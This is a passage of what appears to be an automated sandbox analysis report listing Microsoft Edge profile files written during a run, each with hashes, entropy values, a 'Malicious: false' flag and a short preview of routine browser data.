SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	209
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	3:FQxlXNQxlXNQxlXNQxlXNQxlXNQxlXNQxlXNQxlXNQxlXNQxlXNQxlX:qTCTCTCTCTCTCTCTCTCTCT
MD5:	478D49D9CCB25AC14589F834EA70FB9E
SHA1:	5D30E87D66E279F8815AFFE4C691AAF1D577A21E
SHA-256:	BB6CC6DF54CF476D95409032C79E065F4E10D512E73F7E16018E550456F753D5
SHA-512:	FB5431054A23D3C532568B1F150873D9130DBC4A88BE19BC2A4907D0DC2888C5B55993154EAD4A6C466E2173092B8705684A6802B850F051639E1F2457387471
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.1678081947149765
Encrypted:	false
SSDEEP:	6:udhsQmAB1wkn23oH+Tcwt86FB2KLlcd+Rx9+q2Pwkn23oH+Tcwt865IFUv:SkfYeb/FFLv4vYfYeb/WFUv
MD5:	8776F699516E3FF8C5AEBF80A5E993FB
SHA1:	555DFA28E0D37A8ED04D4FBDAAB35E7E962C52ED
SHA-256:	AE90060F56203241296F550FDE3D953041F35FB158EEA91EC6BF682584F71D5B
SHA-512:	5ECC768E118AD665CDF5E2C1C2D8868C51D2F6A19B0D6C5DB55E7B51538B1B9B47790CF5FC2446DB431C23C873698B644C6F33C554C82EA305B83B0E7A7506FA
Malicious:	false
Preview:	2024/08/31-20:48:29.798 1d28 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts since it was missing..2024/08/31-20:48:30.047 1d28 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1197
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	12:qWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWW:
MD5:	A2A3B1383E3AAC2430F44FC7BF3E447E
SHA1:	B807210A1205126A107A5FE25F070D2879407AA4
SHA-256:	90685D4E050DA5B6E6F7A42A1EE21264A68F1734FD3BD4A0E044BB53791020A2
SHA-512:	396FAB9625A2FF396222DBC86A0E2CDE724C83F3130EE099F2872AED2F2F2ECE13B0853D635F589B70BD1B5E586C05A3231D68CAF9E46B6E2DAC105A10D0A1C8
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5........

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	322
Entropy (8bit):	5.135152517385068
Encrypted:	false
SSDEEP:	6:ud+MoX9+q2Pwkn23oH+Tcwt8NIFUt8jd+MC6XJZmw+jd+MC6X9VkwOwkn23oH+TG:8oX4vYfYebpFUt8TxXJ/+TxXD5JfYeb2
MD5:	F682D513422EF54E6ECAF267DA2ED7D9
SHA1:	CED90370E57330CC276399D11DA2F5A6040EC997
SHA-256:	20CE307AF7AE57F50A5B994DF2CCFB24327A02243B4D037C5520858E0E4B609B
SHA-512:	29F8907D891FA3602C1EFADADF9E947A7B856669A645890F54BADA479E9A529B750EA8B5099BE5B263F28111FDC12153EBDDE21AFC7167EAED95E1D80EA9B2C9
Malicious:	false
Preview:	2024/08/31-20:48:30.052 1d28 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/MANIFEST-000001.2024/08/31-20:48:30.053 1d28 Recovering log #3.2024/08/31-20:48:30.053 1d28 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	322
Entropy (8bit):	5.135152517385068
Encrypted:	false
SSDEEP:	6:ud+MoX9+q2Pwkn23oH+Tcwt8NIFUt8jd+MC6XJZmw+jd+MC6X9VkwOwkn23oH+TG:8oX4vYfYebpFUt8TxXJ/+TxXD5JfYeb2
MD5:	F682D513422EF54E6ECAF267DA2ED7D9
SHA1:	CED90370E57330CC276399D11DA2F5A6040EC997
SHA-256:	20CE307AF7AE57F50A5B994DF2CCFB24327A02243B4D037C5520858E0E4B609B
SHA-512:	29F8907D891FA3602C1EFADADF9E947A7B856669A645890F54BADA479E9A529B750EA8B5099BE5B263F28111FDC12153EBDDE21AFC7167EAED95E1D80EA9B2C9
Malicious:	false
Preview:	2024/08/31-20:48:30.052 1d28 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/MANIFEST-000001.2024/08/31-20:48:30.053 1d28 Recovering log #3.2024/08/31-20:48:30.053 1d28 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\ExtensionActivityComp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 1, cookie 0x1, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	4096
Entropy (8bit):	0.3169096321222068
Encrypted:	false
SSDEEP:	3:lSWbNFl/sl+ltl4ltllOl83/XWEEabIDWzdWuAzTgdWj3FtFIU:l9bNFlEs1ok8fDEPDadUTgd81Z
MD5:	2554AD7847B0D04963FDAE908DB81074
SHA1:	F84ABD8D05D7B0DFB693485614ECF5204989B74A
SHA-256:	F6EF01E679B9096A7D8A0BD8151422543B51E65142119A9F3271F25F966E6C42
SHA-512:	13009172518387D77A67BBF86719527077BE9534D90CB06E7F34E1CCE7C40B49A185D892EE859A8BAFB69D5EBB6D667831A0FAFBA28AC1F44570C8B68F8C90A4
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\ExtensionActivityEdge

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 2, database pages 8, cookie 0x8, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.40981274649195937
Encrypted:	false
SSDEEP:	24:TL1WK3iOvwxwwweePKmJIOAdQBVA/kjo/TJZwJ9OV3WOT/5eQQ:Tmm+/9ZW943WOT/
MD5:	1A7F642FD4F71A656BE75B26B2D9ED79
SHA1:	51BBF587FB0CCC2D726DDB95C96757CC2854CFAD
SHA-256:	B96B6DDC10C29496069E16089DB0AB6911D7C13B82791868D583897C6D317977
SHA-512:	FD14EADCF5F7AB271BE6D8EF682977D1A0B5199A142E4AB353614F2F96AE9B49A6F35A19CC237489F297141994A4A16B580F88FAC44486FCB22C05B2F1C3F7D1
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j............M.....8...b..............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\jmjflgjpcpepeafmmgdpfkogkghcpiha\1.2.1_0\_metadata\computed_hashes.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	429
Entropy (8bit):	5.809210454117189
Encrypted:	false
SSDEEP:	6:Y8U0vEjrAWT0VAUD9lpMXO4SrqiweVHUSENjrAWT0HQQ9/LZyVMQ3xqiweVHlrSQ:Y8U5j0pqCjJA7tNj0pHx/LZ4hcdQ
MD5:	5D1D9020CCEFD76CA661902E0C229087
SHA1:	DCF2AA4A1C626EC7FFD9ABD284D29B269D78FCB6
SHA-256:	B829B0DF7E3F2391BFBA70090EB4CE2BA6A978CCD665EEBF1073849BDD4B8FB9
SHA-512:	5F6E72720E64A7AC19F191F0179992745D5136D41DCDC13C5C3C2E35A71EB227570BD47C7B376658EF670B75929ABEEBD8EF470D1E24B595A11D320EC1479E3C
Malicious:	false
Preview:	{"file_hashes":[{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","6RbL+qKART8FehO4s7U0u67iEI8/jaN+8Kg3kII+uy4=","CuN6+RcZAysZCfrzCZ8KdWDkQqyaIstSrcmsZ/c2MVs="],"block_size":4096,"path":"content.js"},{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","UL53sQ5hOhAmII/Yx6muXikzahxM+k5gEmVOh7xJ3Rw=","u6MdmVNzBUfDzMwv2LEJ6pXR8k0nnvpYRwOL8aApwP8="],"block_size":4096,"path":"content_new.js"}],"version":2}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 39, 1st free page 10, free pages 4, cookie 0x45, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.5241404324800358
Encrypted:	false
SSDEEP:	96:56U+bGzPDLjGQLBE3up+U0jBo4tgi3JMe9xJDECVjN:5R+GPXBBE3upb0HtTTDxVj
MD5:	241322143A01979D346689D9448AC8C0
SHA1:	DD95F97EE1CCB8FD9026D2156DE9CB8137B816D1
SHA-256:	65EEBDEC4F48A111AC596212A1D71C3A5CFA996797500E5344EEABDFA02527C8
SHA-512:	9C7241462A9DADEF25D8EEB1C14BABFBA65C451EBAFBC068B9856E4EF0EB6F894A44686CBB0D1F46C7F546335D0C53A3E386E6C1A017082DE127F8F9C0A54BD2
Malicious:	false
Preview:	SQLite format 3......@ .......'...........E......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History-journal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	0.3268799559477543
Encrypted:	false
SSDEEP:	6:0A/J3+t76Y4QZZofU99pO0BYsSqR4EZY4QZvGHn:FhHQws9LdFZBQZGH
MD5:	A4FEB11403B765AA504318EDBAC99802
SHA1:	4103F6B0DD7377DECAA0DB23FD5F5A8F1613A0AD
SHA-256:	79996CA3EA97B938FEE53BA90D2D99D30BC1BFC139EB56E134781C3710AF3121
SHA-512:	92E81F043B2D1E143015F325A43393BA9DD3DDA53D9F1E83C874F8E28A21C65B0AB2EDEAE119C944B5941FBDB6415A3EE276253BB02FB9E23164BA3EC3253ED8
Malicious:	false
Preview:	............r0N....'....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\HubApps Icons

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 2, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.33890226319329847
Encrypted:	false
SSDEEP:	12:TLMfly7aoxrRGcAkSQdC6ae1//fxEjkE/RFL2iFV1eHFxOUwa5qgufTsZ75fOSI:TLYcjr0+Pdajk+FZH1W6UwccI5fBI
MD5:	971F4C153D386AC7ED39363C31E854FC
SHA1:	339841CA0088C9EABDE4AACC8567D2289CCB9544
SHA-256:	B6468DA6EC0EAE580B251692CFE24620D39412954421BBFDECB13EF21BE7BC88
SHA-512:	1A4DD0C2BE163AAB3B81D63DEB4A7DB6421612A6CF1A5685951F86B7D5A40B67FC6585B7E52AA0CC20FF47349F15DFF0C9038086E3A7C78AE0FFBEE6D8AA7F7E
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...:.8....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	406
Entropy (8bit):	5.251674840101874
Encrypted:	false
SSDEEP:	12:ayvYfYeb8rcHEZrELFUt8q/+iR5JfYeb8rcHEZrEZSJ:aYYfYeb8nZrExg8WDJfYeb8nZrEZe
MD5:	EC3C038699B2915C2FF5019318FB27B9
SHA1:	3A69E98E32732BB787C125672C3A2A3B46392550
SHA-256:	F0C387995B85E478AB91721FBB6DCFCCF87E6BEE6C385F20E024EC1D3F805B27
SHA-512:	5C8033B5549F0A4FBDF9B3D23C5C16CC060F843ADA8B8C48AF426ABFE6164CA562FAB18B7D5B1D9C013713862028FADE8F34AB4BEFDF5160FA8E509AEC10F1DA
Malicious:	false
Preview:	2024/08/31-20:48:30.640 2418 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/MANIFEST-000001.2024/08/31-20:48:30.641 2418 Recovering log #3.2024/08/31-20:48:30.641 2418 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	406
Entropy (8bit):	5.251674840101874
Encrypted:	false
SSDEEP:	12:ayvYfYeb8rcHEZrELFUt8q/+iR5JfYeb8rcHEZrEZSJ:aYYfYeb8nZrExg8WDJfYeb8nZrEZe
MD5:	EC3C038699B2915C2FF5019318FB27B9
SHA1:	3A69E98E32732BB787C125672C3A2A3B46392550
SHA-256:	F0C387995B85E478AB91721FBB6DCFCCF87E6BEE6C385F20E024EC1D3F805B27
SHA-512:	5C8033B5549F0A4FBDF9B3D23C5C16CC060F843ADA8B8C48AF426ABFE6164CA562FAB18B7D5B1D9C013713862028FADE8F34AB4BEFDF5160FA8E509AEC10F1DA
Malicious:	false
Preview:	2024/08/31-20:48:30.640 2418 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/MANIFEST-000001.2024/08/31-20:48:30.641 2418 Recovering log #3.2024/08/31-20:48:30.641 2418 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	334
Entropy (8bit):	5.135316538924368
Encrypted:	false
SSDEEP:	6:ud+qDX1L+q2Pwkn23oH+Tcwt8a2jMGIFUt8jd+qZWKj1Zmw+jd+qtN1LVkwOwknz:lvYfYeb8EFUt8T1/+d5JfYeb8bJ
MD5:	5FBB09A663960E6683E56B8C690C4299
SHA1:	601ED1EB71E6C4B2CA87C02500F89C98D75F14BF
SHA-256:	5485D42F28C260F11178F97D4323280D7E7FDF4B73D2541D2CA914511F68A929
SHA-512:	2F173350A285B387CF19ECD7AD97B7F00981B217623A0086A6D9F1E7AC287092FF66948A2D170B04AD256B9F61461ACAC3DE298877A50B36DEB6B49008D4D24A
Malicious:	false
Preview:	2024/08/31-20:48:30.294 23e8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/MANIFEST-000001.2024/08/31-20:48:30.296 23e8 Recovering log #3.2024/08/31-20:48:30.298 23e8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	334
Entropy (8bit):	5.135316538924368
Encrypted:	false
SSDEEP:	6:ud+qDX1L+q2Pwkn23oH+Tcwt8a2jMGIFUt8jd+qZWKj1Zmw+jd+qtN1LVkwOwknz:lvYfYeb8EFUt8T1/+d5JfYeb8bJ
MD5:	5FBB09A663960E6683E56B8C690C4299
SHA1:	601ED1EB71E6C4B2CA87C02500F89C98D75F14BF
SHA-256:	5485D42F28C260F11178F97D4323280D7E7FDF4B73D2541D2CA914511F68A929
SHA-512:	2F173350A285B387CF19ECD7AD97B7F00981B217623A0086A6D9F1E7AC287092FF66948A2D170B04AD256B9F61461ACAC3DE298877A50B36DEB6B49008D4D24A
Malicious:	false
Preview:	2024/08/31-20:48:30.294 23e8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/MANIFEST-000001.2024/08/31-20:48:30.296 23e8 Recovering log #3.2024/08/31-20:48:30.298 23e8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 2, database pages 28, cookie 0x1d, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	57344
Entropy (8bit):	0.863060653641558
Encrypted:	false
SSDEEP:	96:u7/KLPeymOT7ynlm+yKwt7izhGnvgbn8MouB6wznP:u74CnlmVizhGE7IwD
MD5:	C681C90B3AAD7F7E4AF8664DE16971DF
SHA1:	9F72588CEA6569261291B19E06043A1EFC3653BC
SHA-256:	ADB987BF641B2531991B8DE5B10244C3FE1ACFA7AD7A61A65D2E2D8E7AB34C1D
SHA-512:	4696BF334961E4C9757BAC40C41B4FBE3E0B9F821BD242CE6967B347053787BE54D1270D7166745126AFA42E8193AC2E695B0D8F11DE8F0B2876628B7C128942
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network Action Predictor

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 11, cookie 0x6, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	45056
Entropy (8bit):	0.40293591932113104
Encrypted:	false
SSDEEP:	24:TLVgTjDk5Yk8k+/kCkzD3zzbLGfIzLihje90xq/WMFFfeFzfXVVlYWOT/CUFSe:Tmo9n+8dv/qALihje9kqL42WOT/9F
MD5:	ADC0CFB8A1A20DE2C4AB738B413CBEA4
SHA1:	238EF489E5FDC6EBB36F09D415FB353350E7097B
SHA-256:	7C071E36A64FB1881258712C9880F155D9CBAC693BADCC391A1CB110C257CC37
SHA-512:	38C8B7293B8F7BEF03299BAFB981EEEE309945B1BDE26ACDAD6FDD63247C21CA04D493A1DDAFC3B9A1904EFED998E9C7C0C8E98506FD4AC0AB252DFF34566B66
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.......=......\.t.+.>...,...=........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\1ea9378d-1cdb-4afa-ae1a-3ed69299f285.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\2e4572e2-2368-4afd-8a46-4095d1682d71.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\3c220696-9c77-41e9-8614-91bced6916ed.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\3d997851-5f4e-4c2c-a4b6-88fbb6478d60.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	188
Entropy (8bit):	5.423404609678128
Encrypted:	false
SSDEEP:	3:YWRAWNjBSVVLTRn0xmuRA9E+L3x8HQXwlm9yJUA6XcIR6RX77XMqGwmvXjz2SQ:YWyWN1iL50xHA9vh8wXwlmUUAnIMp5sO
MD5:	6833E2FEEACF2930174137246FC7E09F
SHA1:	7707DD22D2CFD3C3B79D727C93AE1D3DFD90B307
SHA-256:	839EB286A9A424BFB655D9DA050BE4CAE90B3DE4894CFE1F352919B551F17C0C
SHA-512:	B987F42C327EA83EE824E0E9BBC2AE5727CBB3B8DF29659C7E11798E24D5F8A94A05644200B6B57754876050E805EEAB90A0DAC437296BFED54C49535AF133C0
Malicious:	false
Preview:	{"sts":[{"expiry":1727869700.805692,"host":"dUymlFcJcEIuWrPNRCRXYtREHxXDHdPfT47kO1IQnQ0=","mode":"force-https","sts_include_subdomains":true,"sts_observed":1696333700.805702}],"version":2}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\40d68cff-b04e-4ac4-b59e-005288c2643f.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	881
Entropy (8bit):	5.295604588017794
Encrypted:	false
SSDEEP:	24:YXsjXyZVMdBs6yZFRudFGcs4JZFGJ/dbG7nby:YXsjW8sXfcdsWgzbZ
MD5:	F7C8E2A02F509B6ABA8E6F43364A2B1A
SHA1:	289CBCF287DF6D28D4B5CCD34C042C3CC96A3294
SHA-256:	B37690C1CBACE95DD258AB6DE57474931417ED99932E327CDF5C68CFBB918CDA
SHA-512:	5080842F594F7F4CA16F37EA124237BB60944A7D9BFCF72E23E3CEC541E08FB42FC40E7A5413E1D884167A74E0EB7626A302CA8D0F72697D67707B23B2B24AE7
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13372217312089036","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com"},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13372217313124416","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com"},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13372217315726455","port":443,"protocol_str":"quic"}],"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server":"https://www.googleapis.com"}],"supports_quic":{"address":"192.168.2.4","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\4f7d213b-ca7a-4c40-afc0-7d46a9c34f03.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	111
Entropy (8bit):	4.718418993774295
Encrypted:	false
SSDEEP:	3:YLb9N+eAXRfHDH2LS7PMVKJq0nMb1KKtiVY:YHpoeS7PMVKJTnMRK3VY
MD5:	285252A2F6327D41EAB203DC2F402C67
SHA1:	ACEDB7BA5FBC3CE914A8BF386A6F72CA7BAA33C6
